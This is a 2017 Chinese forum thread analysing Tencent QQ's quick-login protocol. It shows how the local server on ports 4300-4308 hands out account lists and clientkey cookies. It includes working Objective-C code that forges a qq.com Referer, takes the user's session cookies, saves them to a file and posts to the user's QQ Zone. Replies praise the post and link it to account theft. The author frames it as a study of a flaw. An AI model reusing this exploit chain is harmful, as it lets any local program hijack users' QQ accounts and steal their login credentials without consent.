吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 68738|回复: 292
收起左侧

[漏洞分析] 分析QQ快速登录协议 并实施“CSRF”

    [复制链接]
maozhenyu 发表于 2017-3-21 06:45
本帖最后由 maozhenyu 于 2017-3-21 15:24 编辑

本文章仅限学习,请勿用作非法用途


PS. 新人,到底发在哪个版块不清楚。如果发错了请管理员移动。


众所周知,Tencent以前使用Activex的方式实施QQ快速登录,在一个陌生浏览器上使用,第一件事就是安装QuickLogin控件。
就在不知道什么时候,快速登录突然不用控件了。
当时很疑惑,Tencent用了什么奇葩的方法做到Web和本地的应用程序交互呢?

在没有插件的情况下,Web页面应该无法直接和本地的应用程序直接交互(除非定义协议,但也只能调起,不能获取程序提供的结果)。

在机缘巧合下(好吧就是闲着无聊看任务管理器发现了本机的httpd,发现Apache在运行的时候)突然意识到了一种可能:如果QQ在本地开了个端口,做了个Web服务器,也就是符合HTTP协议的TCP服务端,然后网页ajax向那个QQ(此时作为Web服务器)发起请求,是不是就可以获得结果呢。

结果真的就是这样,
QQ20170320-152549.png

网页JS向http://localhost.ptlogin2.qq.com(端口从4300-4308,一个个试试到成功)发起GET一个请求
ping一下就会发现是127.0.0.1,一查端口,确实是QQ在用。
QQ20170321-002222.png
第一个请求:/pt_get_uins?callback=ptui_getuins_CB&r=0.5919004196050326&pt_local_tk=399224727
pt_local_tk 来自cookie,管他是什么东西;r就是个随机数

返回的结果是个JSON数组:
var var_sso_uin_list=[{"account":"登录的QQ账号","face_index":-1,"gender":0,"nickname":"你的QQ昵称","uin":"还是你的QQ账号","client_type":66818,"uin_flag":8388612}];ptui_getuins_CB(var_sso_uin_list);

然后用http://ptlogin2.qq.com/getface来获取QQ头像,这里不做讨论

这样你的QQ信息就能显示在Web页面上了。

当你按下你的头像(选择这个登录的时候)

下列请求产生:
http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=你的QQ号&callback=ptui_getst_CB&r=0.7293395590126179&pt_local_tk=399224727
同样的,r是随机数,pt_local_tk是来自cookie,local_token
这个请求做什么事情呢?
QQ20170320-153744.png
嗯,Set-Cookie。

然后继续请求
http://ptlogin2.qq.com/jump?clientuin=你的QQ号&keyindex=19&pt_aid=549000912&daid=5&u1=http%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_local_tk=1881902769&pt_3rd_aid=0&ptopt=1&style=40
这里唯一的u1就是目标地址

这个请求将返回所有需要的cookie,至此你就登录成功了。

那么学会了协议之后,就发现了一个很严重的问题:如果一个(黑心的)程序代替用户做了这些事情,会发生什么?

立刻动手!

手边只有Mac,于是用的是Obj-C写的。

[self GET:@"http://localhost.ptlogin2.qq.com:4300/pt_get_uins?callback=ptui_getuins_CB&r=0.47178753013324637&pt_local_tk=-1211438011" header:nil];
//这里的GET是我自己封装的一个方法,GET网页上的数据

注意:由于有之前做QQ机器人(基于WebQQ协议)的经验:Referer头是很重要的(必须是.qq.com的域名),一旦错误,必定失败。所以这里没绕弯子

By the way, 那个时候刚刚接触Obj-C,部分代码可能看起来有点蠢,请原谅。
//cookiedata是个NSDictionary

[Objective-C] 纯文本查看 复制代码
-(void)GET:(NSString*) urladd header:(NSDictionary*)Header;
{
    NSURL *url = [NSURL URLWithString:urladd];
    NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
    NSString* Cookie=@"";
    for (NSString* key in cookiedata) {
        Cookie=[Cookie stringByAppendingFormat:@"%@=%@; ",key,[cookiedata objectForKey:key]];
    }
    [request addValue:Cookie forHTTPHeaderField:@"Cookie"];
    [request addValue:@"http://xui.ptlogin2.qq.com/cgi-bin/xlogin?proxy_url=http%3A//qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=22&target=self&s_url=http%3A%2F%2Fqzs.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_qr_app=%E6%89%8B%E6%9C%BAQQ%E7%A9%BA%E9%97%B4&pt_qr_link=http%3A//z.qzone.com/download.html&self_regurl=http%3A//qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=http%3A//z.qzone.com/download.html" forHTTPHeaderField:@"Referer"];
    NSURLSessionConfiguration *config = [NSURLSessionConfiguration defaultSessionConfiguration];
    NSURLSession *session = [NSURLSession sessionWithConfiguration:config delegate:self delegateQueue:[NSOperationQueue currentQueue]];
    NSURLSessionDataTask *dataTask = [session dataTaskWithRequest:request completionHandler:^(NSData * _Nullable data, NSURLResponse * _Nullable response, NSError * _Nullable error) {
        
        NSDictionary *rspheaders = [(NSHTTPURLResponse *)response allHeaderFields];
        NSArray *cookies =[[NSArray alloc]init];
        cookies = [NSHTTPCookie cookiesWithResponseHeaderFields:rspheaders forURL:url];
        
        for (NSHTTPCookie *cookie in cookies) {
            if([cookie.value isEqualToString:@""])
            {  continue; }
            [cookiedata setObject:cookie.value forKey:cookie.name]; //存起来
        }
        if (error == nil) {
            NSString* aStr;
            aStr = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
            
            if([aStr rangeOfString:@"var_sso_uin_list"].length!=0) //如果这是第一次请求(获取在线列表)
            {
                aStr=[aStr stringByReplacingOccurrencesOfString:@"var var_sso_uin_list=" withString:@""];
                aStr=[aStr stringByReplacingOccurrencesOfString:@";ptui_getuins_CB(var_sso_uin_list);" withString:@""];
               //懒得用正则去匹配了,简单粗暴的做替换
                NSData *data= [aStr dataUsingEncoding:NSUTF8StringEncoding];
                NSDictionary *rootDic = [NSJSONSerialization JSONObjectWithData:data options:NSJSONReadingMutableLeaves error:&error]; //这里解析JSON
                NSString* uin=@""; 
                for(NSDictionary* name in rootDic)
                {
                    NSLog(@"登录的QQ:%@,昵称:%@",name[@"uin"],name[@"nickname"]);
                    uin=name[@"uin"];
                    break;
                }
                NSString* newul=[[NSString alloc] initWithFormat:@"http://localhost.ptlogin2.qq.com:4302/pt_get_st?clientuin=%@&callback=ptui_getst_CB&r=0.8042511733970701&pt_local_tk=561916029",uin]; //发起下一个请求,也就是登录
                [self GET:newul header:nil];
            }
            else if([aStr rangeOfString:@"var_sso_get_st_uin"].length!=0) //那么如果是第二个请求
            {
                NSString * clientkey;
                clientkey=cookiedata[@"clientkey"];
                clientuin=cookiedata[@"clientuin"]; 
                UInt64 recordTime = [[NSDate date] timeIntervalSince1970]*1000; //时间戳
                NSString* newul=[[NSString alloc] initWithFormat:@"http://ptlogin2.qq.com/jump?clientuin=%@&keyindex=19&pt_aid=549000912&daid=5&u1=%@&pt_local_tk=%llu&pt_3rd_aid=0&ptopt=1&style=40",clientuin,@"http%3A%2F%2Fqzs.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone",recordTime];
                [cookiedata setObject:[[NSString alloc] initWithFormat:@"%llu",recordTime] forKey:@"pt_local_token"];
                
                NSString* newcookie=[[NSString alloc] initWithFormat:@"clientuin=%@;clientkey=%@;pt_local_token=%llu",clientuin,clientkey,recordTime];
                NSDictionary *dict = [NSDictionary dictionaryWithObjectsAndKeys:newcookie,@"Cookie", nil];
                [self GET:newul header:dict]; //这里执行第三个请求
            }
            else if([aStr rangeOfString:@"ptui_qlogin_CB('0'"].length!=0)
            {
                aStr=[aStr stringByReplacingOccurrencesOfString:@"ptui_qlogin_CB('0', '" withString:@""];
                aStr=[aStr stringByReplacingOccurrencesOfString:@"', '');" withString:@""];
                aStr=[aStr stringByReplacingOccurrencesOfString: @"\r" withString:@""];
                aStr=[aStr stringByReplacingOccurrencesOfString: @"\n" withString:@""]; //这里继续简单粗暴地用replace解决问题
                [self GET:aStr header:[NSDictionary dictionaryWithObjectsAndKeys:@"",@"Cookie", nil]];//提交check_sig
            }
            else if([urladd rangeOfString:@"check_sig"].length!=0)//check_sig
            {
                [self PostEmotion]; //登录成功了,这里召唤了QQ空间发帖的函数
                [cookiedata writeToFile:plist atomically:YES];
                NSLog(@"Success");
            }
        }
        else
        {
            NSLog(@"Error:%@ URL:[[[[%@]]]]]",error,urladd); //有没有错误
        }
    }];


这样就完成了登录,随便找个QQ空间的接口(这里不贴出来了),发帖成功。

这意味着什么?意味着只要是本地运行的一个程序,完全有机会代替你完成QQ登录,并在QQ空间等不需要二次认证的平台做一些偷偷摸摸的操作

点评

LZ可以的、原来是这样~~  发表于 2017-3-26 17:31
难怪,原来是这样,我当时分析的时候明明把控件卸载了,浏览器还是能够快捷登录  发表于 2017-3-23 09:45
那么如果像你这么说 基本我曾经的一些号空间有类似图片说说的发表上面是那个银联的那么是不是利用这个漏洞呢?  发表于 2017-3-22 06:38

免费评分

参与人数 183威望 +1 吾爱币 +200 热心值 +174 收起 理由
左岸QWQ + 1 + 1 谢谢@Thanks!
太冲 + 1 + 1 谢谢@Thanks!
z250967086 + 1 + 1 --------
IamAlive + 1 + 1 用心讨论,共获提升!
匪人安安 + 1 + 1 已答复!
iadail + 1 + 1 谢谢@Thanks!
sucvia + 1 + 1 我很赞同!
Ravey + 1 + 1 谢谢@Thanks!
爱蜂玩爱疯玩 + 1 + 1 谢谢@Thanks!
抓狂的小丸子 + 1 + 1 我很赞同!
ymous + 1 谢谢@Thanks!
烯特勒 + 1 + 1 以后打开exe文件的时候就要注意你的空间是不是多了一个广告贴
ecz123 + 1 + 1 技术帖
苦涩_ + 1 + 1 我很赞同!
goodsky + 1 谢谢@Thanks!
豪~豪 + 1 + 1 这个很给力,以前还没有发现!
Tar_Rasha + 1 + 1 我很赞同!
liutao1896 + 1 + 1 我很赞同!
血卫 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Lensual + 1 + 1 还有这种操作?
bfmr521 + 1 + 1 热心回复!
Aligost + 1 + 1 用心讨论,共获提升!
sunhao1 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
cc6637 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
evea + 1 + 1 我很赞同!
palard + 2 + 1 谢谢@Thanks!
akria00 + 1 + 1 谢谢@Thanks!
主骑士 + 1 + 1 已答复!
code871 + 1 + 1 谢谢@Thanks!
www654320 + 1 + 1 谢谢分享,r值就是0.+时间戳,就是这个方式很不稳定
hanna518 + 1 + 1 谢谢@Thanks!
飘零若曦 + 1 谢谢@Thanks!
Pinatapai + 1 + 1 用心讨论,共获提升!
lss680460ok + 1 + 1 我就是小白 但我给你评分,加油
纸张小骚年 + 1 热心回复!
飘荡sor + 1 哇哦 厉害了 没有一些认证就通过了吗
XiaoBao20 + 1 用心讨论,共获提升!
One丶随便 + 1 感谢楼主分享
mengmeng + 1 + 1 谢谢@Thanks!
Next、 + 1 + 1 热心回复!
joker-li + 1 + 1 用心讨论,共获提升!
roamshi + 1 + 1 我很赞同!
那么骄傲丶 + 1 + 1 我很赞同!
hnshhslsh + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
pojie6666 + 1 + 1 谢谢@Thanks!
somanypeople + 1 + 1 谢谢@Thanks!
ys1122 + 1 + 1 已经处理,感谢您对吾爱破解论坛的支持!
wc_3887 + 1 + 1 谢谢@Thanks!
vm007 + 1 + 1 热心回复!
anan1380 + 1 + 1 谢谢@Thanks!
花花小公子w + 2 + 1 用心讨论,共获提升!大神就是不一样
893849711 + 1 + 1 我很赞同!
gunxsword + 1 + 1 谢谢@Thanks!
NewType + 2 + 1 我很赞同!
火丁 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
xxsmile520 + 1 我很赞同!
diaoxingyu + 1 + 1 老板都学习了
轻轻的飘过 + 1 + 1 谢谢@Thanks!
Three_fish + 1 + 1 谢谢@Thanks!
dimo + 1 + 1 谢谢@Thanks!
lai524 + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
ygah28 + 1 + 1 鼓励转贴优秀软件安全工具和文档!
venus + 1 + 1 我很赞同!
sj1114 + 1 + 1 用心讨论,共获提升!
767190 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
q504574908 + 1 + 1 热心回复!
逝轻浮 + 1 + 1 我很赞同!
erchioce + 1 + 1 用心讨论,共获提升!
风吹屁股凉 + 1 + 1 用心讨论,共获提升!
星际代理人 + 1 + 1 不明觉厉,想想空间莫名其妙发的广告会不会就是这样来的
蛛丝马迹 + 1 坐等成品~~~~~
Galiratea + 1 + 1 用心讨论,共获提升!
Terrorist + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
夜薄如裳 + 1 + 1 用心讨论,共获提升!
hetao520 + 1 + 1 已答复!
麻辣冒菜锅 + 1 + 1 感谢科普了
sf123123 + 1 + 1 谢谢@Thanks!
deaning + 1 我很赞同!
610100 + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
CKMS3 + 1 + 1 我很赞同!
F_nebula + 2 + 1 用心讨论,共获提升!
DeBugWang + 1 + 1 我很赞同!
住厕快鸡师 + 1 + 1 谢谢@Thanks!
amus + 1 + 1 热心回复!
lovemail + 1 + 1 谢谢@Thanks!
gxxxlxy + 1 + 1 谢谢@Thanks!
hx924923235 + 1 + 1 用心讨论,共获提升!
_stdcall + 1 + 1 不错,企鹅马上就要降权了
lin326326 + 1 + 1 我很赞同!
vipdd + 1 + 1 热心回复!
n1ghtc4t + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
az0ne + 1 + 1 热心回复!
51adobe + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
凌乱的思绪 + 1 + 1 看不懂不是重点,重点是仔细看了
QWERTYUIOP[] + 1 + 1 谢谢@Thanks!
落幕工作室 + 1 那么也可以这样说现在的一些软件即使有快速登录那么也有可能截获cookie喽
dadao815 + 1 + 1 谢谢@Thanks!
转角处丶接吻 + 1 热心回复!
Call_Bug + 1 + 1 我很赞同!
非语 + 1 用心讨论,共获提升!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2017-3-21 12:04
学习了,qq会一直开着本地这些端口?

点评

一直想知道一件事:这个端口外网能访问不?  发表于 2017-7-7 17:40

免费评分

参与人数 1吾爱币 +1 收起 理由
xlose13720 + 1 前排合影

查看全部评分

兜兜风f 发表于 2017-3-21 12:15
头像被屏蔽
知妇鸨 发表于 2017-3-21 16:10
完美剿灭OVG 发表于 2017-3-21 14:20
Hmily 发表于 2017-3-21 12:04
学习了,qq会一直开着本地这些端口?

感觉目前论坛已经形成了一种趋势,只要你发软件,表明(某宝XXX元购买/我一直在用的XXX)等等之类的贴,热心及CB都会很多人给,反而真正的技术贴,却没多少人光顾,热心啥的也都没有。这会不会造成以后都不愿意发技术贴,而是把多年前论坛里面的软件下载一遍,打个包又弄成自己来发一遍贴????还有请问下楼主,有些论坛支持QQ登陆,QQ登陆之后会在论坛的数据库里面留存用户的哪些信息???

点评

这个情况主要是因为论坛刚加入的小白很多很多,他们确实只能对下载一些软件感兴趣,技术贴也看不懂,目前我们已经对技术贴增加更多的展现,希望能获得更多的关注。关于老软件重复转载直接举报处理就好了。  详情 回复 发表于 2017-3-21 14:23

免费评分

参与人数 2吾爱币 +1 热心值 +2 收起 理由
醉吟风 + 1 + 1 用心讨论,共获提升!
610100 + 1 我很赞同!

查看全部评分

慵懒丶L先森 发表于 2017-3-21 12:36
好帖子,一直不知道QQ授权登陆的原理,现在有些眉目了
GiantPanda 发表于 2017-3-21 12:40
貌似我发现了传奇盗号的原理
 楼主| maozhenyu 发表于 2017-3-21 12:41
Hmily 发表于 2017-3-21 12:04
学习了,qq会一直开着本地这些端口?

只开一个,一直开着 但是具体是哪个 得从4300到4308一个个试
PA助手 发表于 2017-3-21 12:44
楼主是不是在告诫我们一些第三方软件的QQ快捷登陆要留意了
 楼主| maozhenyu 发表于 2017-3-21 12:51
PA助手 发表于 2017-3-21 12:44
楼主是不是在告诫我们一些第三方软件的QQ快捷登陆要留意了

哈哈,那倒未必。我觉得那些东西基本还是内嵌浏览器完成(通过hook目标地址,然后读页面上的数据来获取的)或者就是iframe完成的
酒醒黄昏 发表于 2017-3-21 13:05
楼主好厉害,膜拜一下
1415752981 发表于 2017-3-21 13:18
你可以研究下QQ音乐的快捷登录,必经那个东西在你关掉QQ后还能自己登录
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-3-19 17:27

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表